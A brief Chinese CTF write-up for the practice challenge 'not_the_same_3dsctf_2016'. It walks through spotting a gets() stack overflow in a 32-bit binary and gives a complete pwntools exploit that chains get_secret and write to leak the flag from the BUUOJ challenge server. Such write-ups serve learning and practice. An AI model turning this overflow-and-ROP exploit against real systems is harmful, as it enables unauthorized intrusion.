not_the_same_3dsctf_2016
- 题目地址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016
首先checksec一下,看看32位程序
在IDA中,发现栈溢出典型函数gets函数,这里注意这个main函数没有ebp
shift+F12看下,发现了flag.txt这种敏感 字符串
找到调用的函数get_secret函数
函数调用后,flag储存在fl4g里面,我们找到fl4g的位置
找到可以输出的write函数
下面我们就可以写我们的exploit了
exploit
from pwn import *
p = remote("node3.buuoj.cn",25722)
write_addr = 0x0806E270
flag_addr = 0x080ECA2D
get_secret = 0x080489A0
payload='a'* 0x2d + p32(get_secret) + p32(write_addr) + p32(0) + p32(1) + p32(flag_addr) + p32(45)
p.sendline(payload)
p.interactive()
嘻嘻,如果有帮助的话,可以点个赞哦 😃
当然,打赏就更加谢谢各位了,一分钱你买不了吃亏.嘿嘿🤭